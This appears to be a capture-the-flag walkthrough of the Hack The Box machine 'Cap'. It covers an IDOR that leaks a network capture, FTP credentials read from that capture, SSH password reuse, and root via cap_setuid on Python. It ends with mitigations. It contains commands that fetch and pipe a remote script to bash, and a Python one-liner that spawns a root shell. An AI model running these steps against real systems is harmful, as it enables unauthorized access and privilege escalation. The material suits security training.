Skip to main content

HTB Walkthrough: Cap

·1180 words·6 mins
Table of Contents
Walkthrough of Cap on Hack The Box. Easy difficulty machine running Linux (Ubuntu 20.04 LTS). We exploit an IDOR on a network capture download endpoint to obtain cleartext FTP credentials, gain SSH access by reusing the password, and escalate to root by abusing the cap_setuid capability assigned to the Python 3.8 binary.

HackTheBox Linux Easy


πŸ—ΊοΈ Machine Info
#

FieldDetail
NameCap
OSLinux (Ubuntu 20.04 LTS)
DifficultyEasy
IP10.129.19.177
TechniquesIDOR Β· FTP Cleartext Β· Credential Reuse Β· Linux cap_setuid

1. Reconnaissance
#

1.1 Port Scan
#

nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.19.177
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Version scan on open ports:

nmap -sC -sV -p21,22,80 10.129.19.177
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp open  http    Gunicorn
|_http-title: Security Dashboard

Open ports:

  • 21 β†’ vsftpd 3.0.3 (anonymous access disabled β€” credentials required)
  • 22 β†’ OpenSSH 8.2p1 (available for later access)
  • 80 β†’ Python web application (Gunicorn) with a “Security Dashboard”

πŸ’‘ Key detail: Gunicorn is a Python WSGI server β€” the web app is written in Python. Combined with FTP having no anonymous access, the initial vector likely goes through the web.

1.2 Web Enumeration β€” Security Dashboard
#

The application exposes a security dashboard with several sections:

  • Dashboard β€” Real-time security event metrics.
  • Security Snapshot β€” Generates and downloads a 5-second PCAP capture of the server’s network traffic.
  • IP Config β€” Shows the server’s ifconfig output.
  • Network Status β€” Network status.

The most interesting section is Security Snapshot. When clicking the download button, the generated URL is:

http://10.129.19.177/data/1

The number at the end is a sequential numeric ID identifying the capture. The current capture (ID=1) shows all zeros β€” it was generated on the spot and contains no prior traffic.

We try ID=0, the oldest capture on the server:

http://10.129.19.177/data/0

The response shows real data: 72 packets captured, 69 TCP. The server serves the capture without verifying it belongs to our user.

πŸ’‘ IDOR (Insecure Direct Object Reference): The application uses predictable IDs and doesn’t validate that the requested resource belongs to the authenticated user. Simply changing the number in the URL gives us access to other users’ or system captures.


2. Exploitation β€” IDOR and PCAP Analysis
#

2.1 Vulnerability Analysis
#

The /data/<id> endpoint delivers the corresponding PCAP file by ID without any authorization check. Since IDs are sequential integers starting at 0, we can iterate from zero to find captures with real traffic generated before our session.

Normal flow:    user generates capture β†’ receives /data/<their_id>
Malicious flow: attacker requests /data/0 β†’ receives someone else's capture with real traffic

2.2 Credential Extraction with Wireshark
#

We download the PCAP from ID=0 and open it in Wireshark. We filter by FTP protocol:

Wireshark filter: ftp

FTP transmits credentials in cleartext with no encryption. In the captured traffic we see the complete authentication exchange:

β†’ Request:  USER nathan
← Response: 331 Please specify password
β†’ Request:  PASS Buck3tH4TF0RM3!
← Response: 230 Login successful

πŸ”‘ Credentials obtained: nathan:Buck3tH4TF0RM3!


3. User Flag
#

The FTP credentials are a direct candidate for SSH via password reuse β€” using the same password across multiple services on the same system is a very common mistake:

ssh nathan@10.129.19.177
# Password: Buck3tH4TF0RM3!
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
nathan@cap:~$
nathan@cap:~$ cat user.txt

πŸ”‘ User flag obtained.


4. Privilege Escalation β€” Linux Capability cap_setuid
#

4.1 System Enumeration
#

nathan@cap:~$ sudo -l
Sorry, user nathan may not run sudo on cap.

nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)

No sudo. We run LinPEAS to look for escalation vectors:

# On the attacking machine
python3 -m http.server 8000

# On the victim machine
curl -L http://10.10.15.237/linpeas.sh | bash

LinPEAS detects something critical in the Linux Capabilities section:

Files with capabilities:
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

4.2 Escalation Vector Analysis
#

Linux Capabilities are a kernel mechanism that breaks down root privileges into smaller, more granular units. Instead of granting full root access, only the specific capability a process needs can be assigned. The problem arises when that capability is too powerful.

The cap_setuid capability allows the process to change its effective UID to any value, including 0 (root). Since it’s assigned to the /usr/bin/python3.8 binary, any Python script executed with that interpreter can call os.setuid(0) and become root.

We can find all binaries with capabilities on the system with:

getcap -r / 2>/dev/null

πŸ’‘ Difference from SUID bit: A binary with SUID always executes with the owner’s UID. Capabilities are more granular, but cap_setuid is equally dangerous β€” in practice, both allow escalation to root if the binary is a script interpreter like Python.

4.3 Exploitation
#

The exploit reduces to two lines of Python: change the effective UID to 0 and open a shell in that context.

nathan@cap:~$ python3.8 -c "import os; os.setuid(0); os.system('/bin/bash')"
root@cap:~# id
uid=0(root) gid=1000(nathan) groups=1000(nathan)

βœ… Root shell obtained via cap_setuid on Python 3.8.


5. Root Flag
#

root@cap:~# cat /root/root.txt

🏁 Root flag obtained.


6. Summary and Lessons Learned
#

Compromise path:

  1. Recon β†’ Port 80 with Security Dashboard (Gunicorn/Python); FTP with no anonymous access.
  2. IDOR β†’ Endpoint /data/0 serves someone else’s PCAP without checking authorization.
  3. PCAP analysis β†’ Wireshark filters FTP traffic β†’ credentials nathan:Buck3tH4TF0RM3! in cleartext.
  4. Foothold β†’ SSH with reused credentials β†’ user.txt.
  5. PrivEsc β†’ LinPEAS detects cap_setuid on /usr/bin/python3.8 β†’ os.setuid(0) β†’ shell as root β†’ root.txt.

What I learned from this machine:

  • IDOR is a logic vulnerability, not a technology one. It requires no complex exploit β€” just changing a number in the URL. The defense isn’t complex either: verify server-side that the requested resource belongs to the authenticated user before serving it. What makes IDOR dangerous is how invisible it is without an active code review.

  • FTP transmits credentials in cleartext β€” always. There’s no encrypted mode in standard FTP. Any network traffic capture containing an FTP session will have the credentials directly readable. The alternative is SFTP (SSH File Transfer Protocol) or FTPS (FTP over TLS), which encrypt the full communication.

  • Password reuse across services on the same system is a risk multiplier. A compromised FTP credential became SSH access. Basic policy: each service must have independent credentials.

  • cap_setuid on a script interpreter is equivalent to root. Unlike a compiled binary where the control flow is fixed, an interpreter like Python executes arbitrary code. Assigning cap_setuid to Python effectively gives root to any user who can execute Python scripts β€” capabilities are only safe on binaries with very restricted functionality.

  • LinPEAS and capability enumeration are mandatory steps in Linux PrivEsc. The usual checks (sudo, SUID, cron) don’t cover capabilities. getcap -r / 2>/dev/null should always be part of the post-access enumeration checklist.

Mitigations:

VectorMitigation
IDOR on /data/<id>Verify server-side that the requested ID belongs to the authenticated user before serving the file
FTP in cleartextReplace FTP with SFTP or FTPS; never transmit credentials unencrypted
Password reuseUnique credentials policy per service; use a password manager
cap_setuid on Python 3.8Remove the capability: setcap -r /usr/bin/python3.8; audit regularly with getcap -r /